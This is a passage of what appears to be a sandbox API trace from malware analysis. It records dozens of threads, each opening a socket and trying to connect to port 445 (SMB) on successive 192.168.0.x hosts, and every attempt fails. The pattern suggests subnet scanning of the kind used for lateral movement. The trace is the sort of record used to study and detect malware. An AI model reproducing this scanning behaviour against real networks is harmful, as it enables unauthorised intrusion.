out: lpWSAData=0xe3dfdf0) returned 0 [0077.989] socket (af=2, type=1, protocol=0) returned 0xb88 [0077.990] inet_addr (cp="192.168.0.76") returned 0x4c00a8c0 [0077.990] htons (hostshort=0x1bd) returned 0xbd01 [0077.990] connect (s=0xb88, name=0xe3dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.76"), namelen=16) returned -1 [0099.432] closesocket (s=0xb88) returned 0 [0099.432] WSACleanup () returned 0 [0099.432] GetCurrentThreadId () returned 0xc14 [0099.432] GetCurrentThreadId () returned 0xc14 [0099.432] GetCurrentThreadId () returned 0xc14 Thread: id = 177 os_tid = 0xc18 [0078.036] GetCurrentThreadId () returned 0xc18 [0078.036] GetCurrentThreadId () returned 0xc18 [0078.036] GetCurrentThreadId () returned 0xc18 [0078.036] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xe51fdf0 | out: lpWSAData=0xe51fdf0) returned 0 [0078.036] socket (af=2, type=1, protocol=0) returned 0xb98 [0078.036] inet_addr (cp="192.168.0.68") returned 0x4400a8c0 [0078.036] htons (hostshort=0x1bd) returned 0xbd01 [0078.036] connect (s=0xb98, name=0xe51fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.68"), namelen=16) returned -1 [0099.432] closesocket (s=0xb98) returned 0 [0099.432] WSACleanup () returned 0 [0099.432] GetCurrentThreadId () returned 0xc18 [0099.432] GetCurrentThreadId () returned 0xc18 [0099.432] GetCurrentThreadId () returned 0xc18 Thread: id = 178 os_tid = 0xc1c [0078.083] GetCurrentThreadId () returned 0xc1c [0078.083] GetCurrentThreadId () returned 0xc1c [0078.083] GetCurrentThreadId () returned 0xc1c [0078.083] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xe65fdf0 | out: lpWSAData=0xe65fdf0) returned 0 [0078.083] socket (af=2, type=1, protocol=0) returned 0xba8 [0078.083] inet_addr (cp="192.168.0.77") returned 0x4d00a8c0 [0078.083] htons (hostshort=0x1bd) returned 0xbd01 [0078.083] connect (s=0xba8, name=0xe65fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.77"), namelen=16) returned -1 [0099.432] closesocket (s=0xba8) returned 0 [0099.433] WSACleanup () returned 0 [0099.433] GetCurrentThreadId () returned 0xc1c [0099.433] GetCurrentThreadId () returned 0xc1c [0099.433] GetCurrentThreadId () returned 0xc1c Thread: id = 179 os_tid = 0xc20 [0078.130] GetCurrentThreadId () returned 0xc20 [0078.130] GetCurrentThreadId () returned 0xc20 [0078.130] GetCurrentThreadId () returned 0xc20 [0078.130] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xe79fdf0 | out: lpWSAData=0xe79fdf0) returned 0 [0078.130] socket (af=2, type=1, protocol=0) returned 0xbb8 [0078.130] inet_addr (cp="192.168.0.69") returned 0x4500a8c0 [0078.130] htons (hostshort=0x1bd) returned 0xbd01 [0078.130] connect (s=0xbb8, name=0xe79fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.69"), namelen=16) returned -1 [0099.433] closesocket (s=0xbb8) returned 0 [0099.433] WSACleanup () returned 0 [0099.433] GetCurrentThreadId () returned 0xc20 [0099.433] GetCurrentThreadId () returned 0xc20 [0099.433] GetCurrentThreadId () returned 0xc20 Thread: id = 180 os_tid = 0xc24 [0078.176] GetCurrentThreadId () returned 0xc24 [0078.176] GetCurrentThreadId () returned 0xc24 [0078.176] GetCurrentThreadId () returned 0xc24 [0078.176] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xe8dfdf0 | out: lpWSAData=0xe8dfdf0) returned 0 [0078.176] socket (af=2, type=1, protocol=0) returned 0xbc8 [0078.177] inet_addr (cp="192.168.0.78") returned 0x4e00a8c0 [0078.177] htons (hostshort=0x1bd) returned 0xbd01 [0078.177] connect (s=0xbc8, name=0xe8dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.78"), namelen=16) returned -1 [0099.433] closesocket (s=0xbc8) returned 0 [0099.433] WSACleanup () returned 0 [0099.433] GetCurrentThreadId () returned 0xc24 [0099.433] GetCurrentThreadId () returned 0xc24 [0099.434] GetCurrentThreadId () returned 0xc24 Thread: id = 181 os_tid = 0xc28 [0078.223] GetCurrentThreadId () returned 0xc28 [0078.223] GetCurrentThreadId () returned 0xc28 [0078.223] GetCurrentThreadId () returned 0xc28 [0078.223] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xea1fdf0 | out: lpWSAData=0xea1fdf0) returned 0 [0078.223] socket (af=2, type=1, protocol=0) returned 0xbd8 [0078.223] inet_addr (cp="192.168.0.70") returned 0x4600a8c0 [0078.224] htons (hostshort=0x1bd) returned 0xbd01 [0078.224] connect (s=0xbd8, name=0xea1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.70"), namelen=16) returned -1 [0099.434] closesocket (s=0xbd8) returned 0 [0099.434] WSACleanup () returned 0 [0099.434] GetCurrentThreadId () returned 0xc28 [0099.434] GetCurrentThreadId () returned 0xc28 [0099.434] GetCurrentThreadId () returned 0xc28 Thread: id = 182 os_tid = 0xc2c [0078.273] GetCurrentThreadId () returned 0xc2c [0078.273] GetCurrentThreadId () returned 0xc2c [0078.273] GetCurrentThreadId () returned 0xc2c [0078.273] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xeb5fdf0 | out: lpWSAData=0xeb5fdf0) returned 0 [0078.273] socket (af=2, type=1, protocol=0) returned 0xbe8 [0078.273] inet_addr (cp="192.168.0.79") returned 0x4f00a8c0 [0078.273] htons (hostshort=0x1bd) returned 0xbd01 [0078.273] connect (s=0xbe8, name=0xeb5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.79"), namelen=16) returned -1 [0099.518] closesocket (s=0xbe8) returned 0 [0099.518] WSACleanup () returned 0 [0099.518] GetCurrentThreadId () returned 0xc2c [0099.518] GetCurrentThreadId () returned 0xc2c [0099.518] GetCurrentThreadId () returned 0xc2c Thread: id = 183 os_tid = 0xc30 [0078.317] GetCurrentThreadId () returned 0xc30 [0078.317] GetCurrentThreadId () returned 0xc30 [0078.317] GetCurrentThreadId () returned 0xc30 [0078.317] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xec9fdf0 | out: lpWSAData=0xec9fdf0) returned 0 [0078.317] socket (af=2, type=1, protocol=0) returned 0xbf8 [0078.317] inet_addr (cp="192.168.0.71") returned 0x4700a8c0 [0078.317] htons (hostshort=0x1bd) returned 0xbd01 [0078.317] connect (s=0xbf8, name=0xec9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.71"), namelen=16) returned -1 [0099.518] closesocket (s=0xbf8) returned 0 [0099.518] WSACleanup () returned 0 [0099.518] GetCurrentThreadId () returned 0xc30 [0099.518] GetCurrentThreadId () returned 0xc30 [0099.518] GetCurrentThreadId () returned 0xc30 Thread: id = 184 os_tid = 0xc34 [0078.364] GetCurrentThreadId () returned 0xc34 [0078.364] GetCurrentThreadId () returned 0xc34 [0078.364] GetCurrentThreadId () returned 0xc34 [0078.364] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xeddfdf0 | out: lpWSAData=0xeddfdf0) returned 0 [0078.364] socket (af=2, type=1, protocol=0) returned 0xc0c [0078.364] inet_addr (cp="192.168.0.80") returned 0x5000a8c0 [0078.364] htons (hostshort=0x1bd) returned 0xbd01 [0078.364] connect (s=0xc0c, name=0xeddfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.80"), namelen=16) returned -1 [0099.674] closesocket (s=0xc0c) returned 0 [0099.675] WSACleanup () returned 0 [0099.675] GetCurrentThreadId () returned 0xc34 [0099.675] GetCurrentThreadId () returned 0xc34 [0099.675] GetCurrentThreadId () returned 0xc34 Thread: id = 185 os_tid = 0xc38 [0078.410] GetCurrentThreadId () returned 0xc38 [0078.410] GetCurrentThreadId () returned 0xc38 [0078.410] GetCurrentThreadId () returned 0xc38 [0078.410] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xef1fdf0 | out: lpWSAData=0xef1fdf0) returned 0 [0078.410] socket (af=2, type=1, protocol=0) returned 0xc1c [0078.411] inet_addr (cp="192.168.0.72") returned 0x4800a8c0 [0078.411] htons (hostshort=0x1bd) returned 0xbd01 [0078.411] connect (s=0xc1c, name=0xef1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.72"), namelen=16) returned -1 [0099.675] closesocket (s=0xc1c) returned 0 [0099.675] WSACleanup () returned 0 [0099.675] GetCurrentThreadId () returned 0xc38 [0099.675] GetCurrentThreadId () returned 0xc38 [0099.675] GetCurrentThreadId () returned 0xc38 Thread: id = 186 os_tid = 0xc3c [0078.459] GetCurrentThreadId () returned 0xc3c [0078.459] GetCurrentThreadId () returned 0xc3c [0078.459] GetCurrentThreadId () returned 0xc3c [0078.459] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xf05fdf0 | out: lpWSAData=0xf05fdf0) returned 0 [0078.459] socket (af=2, type=1, protocol=0) returned 0xc2c [0078.459] inet_addr (cp="192.168.0.81") returned 0x5100a8c0 [0078.459] htons (hostshort=0x1bd) returned 0xbd01 [0078.459] connect (s=0xc2c, name=0xf05fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.81"), namelen=16) returned -1 [0099.675] closesocket (s=0xc2c) returned 0 [0099.675] WSACleanup () returned 0 [0099.675] GetCurrentThreadId () returned 0xc3c [0099.676] GetCurrentThreadId () returned 0xc3c [0099.676] GetCurrentThreadId () returned 0xc3c Thread: id = 187 os_tid = 0xc40 [0078.505] GetCurrentThreadId () returned 0xc40 [0078.505] GetCurrentThreadId () returned 0xc40 [0078.505] GetCurrentThreadId () returned 0xc40 [0078.505] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xf19fdf0 | out: lpWSAData=0xf19fdf0) returned 0 [0078.505] socket (af=2, type=1, protocol=0) returned 0xc3c [0078.508] inet_addr (cp="192.168.0.73") returned 0x4900a8c0 [0078.508] htons (hostshort=0x1bd) returned 0xbd01 [0078.508] connect (s=0xc3c, name=0xf19fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.73"), namelen=16) returned -1 [0099.676] closesocket (s=0xc3c) returned 0 [0099.676] WSACleanup () returned 0 [0099.676] GetCurrentThreadId () returned 0xc40 [0099.676] GetCurrentThreadId () returned 0xc40 [0099.676] GetCurrentThreadId () returned 0xc40 Thread: id = 188 os_tid = 0xc44 [0078.551] GetCurrentThreadId () returned 0xc44 [0078.551] GetCurrentThreadId () returned 0xc44 [0078.551] GetCurrentThreadId () returned 0xc44 [0078.551] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xf2dfdf0 | out: lpWSAData=0xf2dfdf0) returned 0 [0078.551] socket (af=2, type=1, protocol=0) returned 0xc4c [0078.553] inet_addr (cp="192.168.0.82") returned 0x5200a8c0 [0078.553] htons (hostshort=0x1bd) returned 0xbd01 [0078.553] connect (s=0xc4c, name=0xf2dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.82"), namelen=16) returned -1 [0099.768] closesocket (s=0xc4c) returned 0 [0099.768] WSACleanup () returned 0 [0099.768] GetCurrentThreadId () returned 0xc44 [0099.768] GetCurrentThreadId () returned 0xc44 [0099.768] GetCurrentThreadId () returned 0xc44 Thread: id = 189 os_tid = 0xc48 [0078.598] GetCurrentThreadId () returned 0xc48 [0078.598] GetCurrentThreadId () returned 0xc48 [0078.598] GetCurrentThreadId () returned 0xc48 [0078.598] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xf41fdf0 | out: lpWSAData=0xf41fdf0) returned 0 [0078.598] socket (af=2, type=1, protocol=0) returned 0xc5c [0078.598] inet_addr (cp="192.168.0.74") returned 0x4a00a8c0 [0078.598] htons (hostshort=0x1bd) returned 0xbd01 [0078.598] connect (s=0xc5c, name=0xf41fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.74"), namelen=16) returned -1 [0099.769] closesocket (s=0xc5c) returned 0 [0099.769] WSACleanup () returned 0 [0099.769] GetCurrentThreadId () returned 0xc48 [0099.769] GetCurrentThreadId () returned 0xc48 [0099.769] GetCurrentThreadId () returned 0xc48 Thread: id = 190 os_tid = 0xc4c [0078.659] GetCurrentThreadId () returned 0xc4c [0078.659] GetCurrentThreadId () returned 0xc4c [0078.659] GetCurrentThreadId () returned 0xc4c [0078.659] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xf55fdf0 | out: lpWSAData=0xf55fdf0) returned 0 [0078.659] socket (af=2, type=1, protocol=0) returned 0xc6c [0078.659] inet_addr (cp="192.168.0.83") returned 0x5300a8c0 [0078.659] htons (hostshort=0x1bd) returned 0xbd01 [0078.659] connect (s=0xc6c, name=0xf55fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.83"), namelen=16) returned -1 [0099.769] closesocket (s=0xc6c) returned 0 [0099.769] WSACleanup () returned 0 [0099.769] GetCurrentThreadId () returned 0xc4c [0099.769] GetCurrentThreadId () returned 0xc4c [0099.769] GetCurrentThreadId () returned 0xc4c Thread: id = 191 os_tid = 0xc50 [0078.710] GetCurrentThreadId () returned 0xc50 [0078.710] GetCurrentThreadId () returned 0xc50 [0078.710] GetCurrentThreadId () returned 0xc50 [0078.710] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xf69fdf0 | out: lpWSAData=0xf69fdf0) returned 0 [0078.710] socket (af=2, type=1, protocol=0) returned 0xc80 [0078.710] inet_addr (cp="192.168.0.75") returned 0x4b00a8c0 [0078.710] htons (hostshort=0x1bd) returned 0xbd01 [0078.710] connect (s=0xc80, name=0xf69fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.75"), namelen=16) returned -1 [0099.878] closesocket (s=0xc80) returned 0 [0099.878] WSACleanup () returned 0 [0099.878] GetCurrentThreadId () returned 0xc50 [0099.878] GetCurrentThreadId () returned 0xc50 [0099.878] GetCurrentThreadId () returned 0xc50 Thread: id = 192 os_tid = 0xc54 [0078.755] GetCurrentThreadId () returned 0xc54 [0078.755] GetCurrentThreadId () returned 0xc54 [0078.755] GetCurrentThreadId () returned 0xc54 [0078.755] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xf7dfdf0 | out: lpWSAData=0xf7dfdf0) returned 0 [0078.755] socket (af=2, type=1, protocol=0) returned 0xc8c [0078.755] inet_addr (cp="192.168.0.84") returned 0x5400a8c0 [0078.755] htons (hostshort=0x1bd) returned 0xbd01 [0078.755] connect (s=0xc8c, name=0xf7dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.84"), namelen=16) returned -1 [0099.879] closesocket (s=0xc8c) returned 0 [0099.879] WSACleanup () returned 0 [0099.879] GetCurrentThreadId () returned 0xc54 [0099.879] GetCurrentThreadId () returned 0xc54 [0099.879] GetCurrentThreadId () returned 0xc54 Thread: id = 193 os_tid = 0xc58 [0078.800] GetCurrentThreadId () returned 0xc58 [0078.800] GetCurrentThreadId () returned 0xc58 [0078.800] GetCurrentThreadId () returned 0xc58 [0078.801] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xf91fdf0 | out: lpWSAData=0xf91fdf0) returned 0 [0078.801] socket (af=2, type=1, protocol=0) returned 0xc9c [0078.801] inet_addr (cp="192.168.0.76") returned 0x4c00a8c0 [0078.801] htons (hostshort=0x1bd) returned 0xbd01 [0078.801] connect (s=0xc9c, name=0xf91fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.76"), namelen=16) returned -1 [0100.050] closesocket (s=0xc9c) returned 0 [0100.050] WSACleanup () returned 0 [0100.050] GetCurrentThreadId () returned 0xc58 [0100.050] GetCurrentThreadId () returned 0xc58 [0100.050] GetCurrentThreadId () returned 0xc58 Thread: id = 194 os_tid = 0xc5c [0078.856] GetCurrentThreadId () returned 0xc5c [0078.856] GetCurrentThreadId () returned 0xc5c [0078.856] GetCurrentThreadId () returned 0xc5c [0078.856] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xfa5fdf0 | out: lpWSAData=0xfa5fdf0) returned 0 [0078.856] socket (af=2, type=1, protocol=0) returned 0xcac [0078.857] inet_addr (cp="192.168.0.85") returned 0x5500a8c0 [0078.857] htons (hostshort=0x1bd) returned 0xbd01 [0078.857] connect (s=0xcac, name=0xfa5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.85"), namelen=16) returned -1 [0100.051] closesocket (s=0xcac) returned 0 [0100.051] WSACleanup () returned 0 [0100.051] GetCurrentThreadId () returned 0xc5c [0100.051] GetCurrentThreadId () returned 0xc5c [0100.051] GetCurrentThreadId () returned 0xc5c Thread: id = 195 os_tid = 0xc60 [0078.894] GetCurrentThreadId () returned 0xc60 [0078.894] GetCurrentThreadId () returned 0xc60 [0078.894] GetCurrentThreadId () returned 0xc60 [0078.894] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xfb9fdf0 | out: lpWSAData=0xfb9fdf0) returned 0 [0078.894] socket (af=2, type=1, protocol=0) returned 0xcbc [0078.895] inet_addr (cp="192.168.0.77") returned 0x4d00a8c0 [0078.895] htons (hostshort=0x1bd) returned 0xbd01 [0078.895] connect (s=0xcbc, name=0xfb9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.77"), namelen=16) returned -1 [0100.052] closesocket (s=0xcbc) returned 0 [0100.052] WSACleanup () returned 0 [0100.052] GetCurrentThreadId () returned 0xc60 [0100.052] GetCurrentThreadId () returned 0xc60 [0100.052] GetCurrentThreadId () returned 0xc60 Thread: id = 196 os_tid = 0xc64 [0078.941] GetCurrentThreadId () returned 0xc64 [0078.941] GetCurrentThreadId () returned 0xc64 [0078.941] GetCurrentThreadId () returned 0xc64 [0078.941] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xfcdfdf0 | out: lpWSAData=0xfcdfdf0) returned 0 [0078.941] socket (af=2, type=1, protocol=0) returned 0xccc [0078.941] inet_addr (cp="192.168.0.86") returned 0x5600a8c0 [0078.941] htons (hostshort=0x1bd) returned 0xbd01 [0078.941] connect (s=0xccc, name=0xfcdfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.86"), namelen=16) returned -1 [0100.053] closesocket (s=0xccc) returned 0 [0100.053] WSACleanup () returned 0 [0100.053] GetCurrentThreadId () returned 0xc64 [0100.053] GetCurrentThreadId () returned 0xc64 [0100.053] GetCurrentThreadId () returned 0xc64 Thread: id = 197 os_tid = 0xc68 [0078.989] GetCurrentThreadId () returned 0xc68 [0078.989] GetCurrentThreadId () returned 0xc68 [0078.989] GetCurrentThreadId () returned 0xc68 [0078.989] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xfe1fdf0 | out: lpWSAData=0xfe1fdf0) returned 0 [0078.989] socket (af=2, type=1, protocol=0) returned 0xcdc [0078.989] inet_addr (cp="192.168.0.78") returned 0x4e00a8c0 [0078.989] htons (hostshort=0x1bd) returned 0xbd01 [0078.989] connect (s=0xcdc, name=0xfe1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.78"), namelen=16) returned -1 [0101.047] closesocket (s=0xcdc) returned 0 [0101.047] WSACleanup () returned 0 [0101.047] GetCurrentThreadId () returned 0xc68 [0101.047] GetCurrentThreadId () returned 0xc68 [0101.047] GetCurrentThreadId () returned 0xc68 Thread: id = 198 os_tid = 0xc6c [0079.034] GetCurrentThreadId () returned 0xc6c [0079.034] GetCurrentThreadId () returned 0xc6c [0079.034] GetCurrentThreadId () returned 0xc6c [0079.034] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xff5fdf0 | out: lpWSAData=0xff5fdf0) returned 0 [0079.034] socket (af=2, type=1, protocol=0) returned 0xcec [0079.035] inet_addr (cp="192.168.0.87") returned 0x5700a8c0 [0079.035] htons (hostshort=0x1bd) returned 0xbd01 [0079.035] connect (s=0xcec, name=0xff5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.87"), namelen=16) returned -1 [0101.048] closesocket (s=0xcec) returned 0 [0101.048] WSACleanup () returned 0 [0101.048] GetCurrentThreadId () returned 0xc6c [0101.048] GetCurrentThreadId () returned 0xc6c [0101.048] GetCurrentThreadId () returned 0xc6c Thread: id = 199 os_tid = 0xc70 [0079.081] GetCurrentThreadId () returned 0xc70 [0079.081] GetCurrentThreadId () returned 0xc70 [0079.081] GetCurrentThreadId () returned 0xc70 [0079.081] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1009fdf0 | out: lpWSAData=0x1009fdf0) returned 0 [0079.082] socket (af=2, type=1, protocol=0) returned 0xcfc [0079.082] inet_addr (cp="192.168.0.79") returned 0x4f00a8c0 [0079.082] htons (hostshort=0x1bd) returned 0xbd01 [0079.082] connect (s=0xcfc, name=0x1009fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.79"), namelen=16) returned -1 [0101.049] closesocket (s=0xcfc) returned 0 [0101.049] WSACleanup () returned 0 [0101.049] GetCurrentThreadId () returned 0xc70 [0101.049] GetCurrentThreadId () returned 0xc70 [0101.049] GetCurrentThreadId () returned 0xc70 Thread: id = 200 os_tid = 0xc74 [0079.128] GetCurrentThreadId () returned 0xc74 [0079.128] GetCurrentThreadId () returned 0xc74 [0079.128] GetCurrentThreadId () returned 0xc74 [0079.128] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x101dfdf0 | out: lpWSAData=0x101dfdf0) returned 0 [0079.128] socket (af=2, type=1, protocol=0) returned 0xd0c [0079.130] inet_addr (cp="192.168.0.88") returned 0x5800a8c0 [0079.130] htons (hostshort=0x1bd) returned 0xbd01 [0079.130] connect (s=0xd0c, name=0x101dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.88"), namelen=16) returned -1 [0101.050] closesocket (s=0xd0c) returned 0 [0101.050] WSACleanup () returned 0 [0101.050] GetCurrentThreadId () returned 0xc74 [0101.050] GetCurrentThreadId () returned 0xc74 [0101.050] GetCurrentThreadId () returned 0xc74 Thread: id = 201 os_tid = 0xc78 [0079.175] GetCurrentThreadId () returned 0xc78 [0079.175] GetCurrentThreadId () returned 0xc78 [0079.175] GetCurrentThreadId () returned 0xc78 [0079.175] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1031fdf0 | out: lpWSAData=0x1031fdf0) returned 0 [0079.175] socket (af=2, type=1, protocol=0) returned 0xd1c [0079.176] inet_addr (cp="192.168.0.80") returned 0x5000a8c0 [0079.176] htons (hostshort=0x1bd) returned 0xbd01 [0079.176] connect (s=0xd1c, name=0x1031fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.80"), namelen=16) returned -1 [0101.050] closesocket (s=0xd1c) returned 0 [0101.051] WSACleanup () returned 0 [0101.051] GetCurrentThreadId () returned 0xc78 [0101.051] GetCurrentThreadId () returned 0xc78 [0101.051] GetCurrentThreadId () returned 0xc78 Thread: id = 202 os_tid = 0xc7c [0079.223] GetCurrentThreadId () returned 0xc7c [0079.223] GetCurrentThreadId () returned 0xc7c [0079.223] GetCurrentThreadId () returned 0xc7c [0079.223] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1045fdf0 | out: lpWSAData=0x1045fdf0) returned 0 [0079.223] socket (af=2, type=1, protocol=0) returned 0xd2c [0079.223] inet_addr (cp="192.168.0.89") returned 0x5900a8c0 [0079.223] htons (hostshort=0x1bd) returned 0xbd01 [0079.223] connect (s=0xd2c, name=0x1045fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.89"), namelen=16) returned -1 [0101.051] closesocket (s=0xd2c) returned 0 [0101.052] WSACleanup () returned 0 [0101.052] GetCurrentThreadId () returned 0xc7c [0101.052] GetCurrentThreadId () returned 0xc7c [0101.052] GetCurrentThreadId () returned 0xc7c Thread: id = 203 os_tid = 0xc80 [0079.269] GetCurrentThreadId () returned 0xc80 [0079.269] GetCurrentThreadId () returned 0xc80 [0079.269] GetCurrentThreadId () returned 0xc80 [0079.269] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1059fdf0 | out: lpWSAData=0x1059fdf0) returned 0 [0079.269] socket (af=2, type=1, protocol=0) returned 0xd3c [0079.269] inet_addr (cp="192.168.0.81") returned 0x5100a8c0 [0079.269] htons (hostshort=0x1bd) returned 0xbd01 [0079.269] connect (s=0xd3c, name=0x1059fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.81"), namelen=16) returned -1 [0101.052] closesocket (s=0xd3c) returned 0 [0101.052] WSACleanup () returned 0 [0101.052] GetCurrentThreadId () returned 0xc80 [0101.052] GetCurrentThreadId () returned 0xc80 [0101.052] GetCurrentThreadId () returned 0xc80 Thread: id = 204 os_tid = 0xc84 [0079.316] GetCurrentThreadId () returned 0xc84 [0079.316] GetCurrentThreadId () returned 0xc84 [0079.316] GetCurrentThreadId () returned 0xc84 [0079.316] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x106dfdf0 | out: lpWSAData=0x106dfdf0) returned 0 [0079.316] socket (af=2, type=1, protocol=0) returned 0xd4c [0079.316] inet_addr (cp="192.168.0.90") returned 0x5a00a8c0 [0079.316] htons (hostshort=0x1bd) returned 0xbd01 [0079.316] connect (s=0xd4c, name=0x106dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.90"), namelen=16) returned -1 [0101.053] closesocket (s=0xd4c) returned 0 [0101.053] WSACleanup () returned 0 [0101.053] GetCurrentThreadId () returned 0xc84 [0101.053] GetCurrentThreadId () returned 0xc84 [0101.053] GetCurrentThreadId () returned 0xc84 Thread: id = 205 os_tid = 0xc88 [0079.362] GetCurrentThreadId () returned 0xc88 [0079.362] GetCurrentThreadId () returned 0xc88 [0079.362] GetCurrentThreadId () returned 0xc88 [0079.362] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1081fdf0 | out: lpWSAData=0x1081fdf0) returned 0 [0079.362] socket (af=2, type=1, protocol=0) returned 0xd5c [0079.362] inet_addr (cp="192.168.0.82") returned 0x5200a8c0 [0079.362] htons (hostshort=0x1bd) returned 0xbd01 [0079.362] connect (s=0xd5c, name=0x1081fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.82"), namelen=16) returned -1 [0101.054] closesocket (s=0xd5c) returned 0 [0101.054] WSACleanup () returned 0 [0101.054] GetCurrentThreadId () returned 0xc88 [0101.054] GetCurrentThreadId () returned 0xc88 [0101.054] GetCurrentThreadId () returned 0xc88 Thread: id = 206 os_tid = 0xc8c [0079.409] GetCurrentThreadId () returned 0xc8c [0079.409] GetCurrentThreadId () returned 0xc8c [0079.409] GetCurrentThreadId () returned 0xc8c [0079.409] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1095fdf0 | out: lpWSAData=0x1095fdf0) returned 0 [0079.409] socket (af=2, type=1, protocol=0) returned 0xd6c [0079.409] inet_addr (cp="192.168.0.91") returned 0x5b00a8c0 [0079.409] htons (hostshort=0x1bd) returned 0xbd01 [0079.409] connect (s=0xd6c, name=0x1095fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.91"), namelen=16) returned -1 [0101.055] closesocket (s=0xd6c) returned 0 [0101.055] WSACleanup () returned 0 [0101.055] GetCurrentThreadId () returned 0xc8c [0101.055] GetCurrentThreadId () returned 0xc8c [0101.055] GetCurrentThreadId () returned 0xc8c Thread: id = 207 os_tid = 0xc90 [0079.456] GetCurrentThreadId () returned 0xc90 [0079.456] GetCurrentThreadId () returned 0xc90 [0079.456] GetCurrentThreadId () returned 0xc90 [0079.456] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x10a9fdf0 | out: lpWSAData=0x10a9fdf0) returned 0 [0079.457] socket (af=2, type=1, protocol=0) returned 0xd7c [0079.457] inet_addr (cp="192.168.0.83") returned 0x5300a8c0 [0079.458] htons (hostshort=0x1bd) returned 0xbd01 [0079.458] connect (s=0xd7c, name=0x10a9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.83"), namelen=16) returned -1 [0101.056] closesocket (s=0xd7c) returned 0 [0101.056] WSACleanup () returned 0 [0101.056] GetCurrentThreadId () returned 0xc90 [0101.056] GetCurrentThreadId () returned 0xc90 [0101.056] GetCurrentThreadId () returned 0xc90 Thread: id = 208 os_tid = 0xc94 [0079.502] GetCurrentThreadId () returned 0xc94 [0079.502] GetCurrentThreadId () returned 0xc94 [0079.502] GetCurrentThreadId () returned 0xc94 [0079.502] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x10bdfdf0 | out: lpWSAData=0x10bdfdf0) returned 0 [0079.502] socket (af=2, type=1, protocol=0) returned 0xd8c [0079.503] inet_addr (cp="192.168.0.92") returned 0x5c00a8c0 [0079.503] htons (hostshort=0x1bd) returned 0xbd01 [0079.503] connect (s=0xd8c, name=0x10bdfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.92"), namelen=16) returned -1 [0101.056] closesocket (s=0xd8c) returned 0 [0101.057] WSACleanup () returned 0 [0101.057] GetCurrentThreadId () returned 0xc94 [0101.057] GetCurrentThreadId () returned 0xc94 [0101.057] GetCurrentThreadId () returned 0xc94 Thread: id = 209 os_tid = 0xc98 [0079.551] GetCurrentThreadId () returned 0xc98 [0079.551] GetCurrentThreadId () returned 0xc98 [0079.551] GetCurrentThreadId () returned 0xc98 [0079.551] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x10d1fdf0 | out: lpWSAData=0x10d1fdf0) returned 0 [0079.551] socket (af=2, type=1, protocol=0) returned 0xd9c [0079.551] inet_addr (cp="192.168.0.84") returned 0x5400a8c0 [0079.551] htons (hostshort=0x1bd) returned 0xbd01 [0079.551] connect (s=0xd9c, name=0x10d1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.84"), namelen=16) returned -1 [0101.057] closesocket (s=0xd9c) returned 0 [0101.057] WSACleanup () returned 0 [0101.058] 